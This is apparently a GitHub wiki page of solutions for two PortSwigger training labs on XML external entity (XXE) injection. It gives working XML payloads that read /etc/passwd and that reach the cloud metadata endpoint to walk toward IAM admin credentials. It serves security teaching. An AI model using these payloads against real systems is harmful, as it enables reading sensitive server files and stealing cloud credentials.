XML external entity (XXE) injection - gachikuku/portswigger GitHub Wiki
Apprentice lab:
Exploiting XXE using external entities to retrieve files
Apprentice lab:
Exploiting XXE using external entities to retrieve files
-
Solution
- Browse an item and check stock.
- Observe the requests made. There is a
POST
request handling XML data. - Reformat (
tidy -xml -q
) andea
dit the request, as shown below.<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE anything [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck> <productId>1&xxe;</productId> <storeId>1</storeId> </stockCheck>
Apprentice lab:
Exploiting XXE to perform SSRF attacks
Apprentice lab:
Exploiting XXE to perform SSRF attacks
-
Solution
- Browse an item and check stock.
- Observe the requests made. There is a
POST
request handling XML data. - Reformat (
tidy -xml -q
) andea
dit the request, as shown below.<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE anything [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> <stockCheck> <productId>&xxe;</productId> <storeId>1</storeId> </stockCheck>
- Notice an endpoint in the response. Iteratively update the URL in the DTD to explore the API until you reach
/latest/meta-data/iam/security-credentials/admin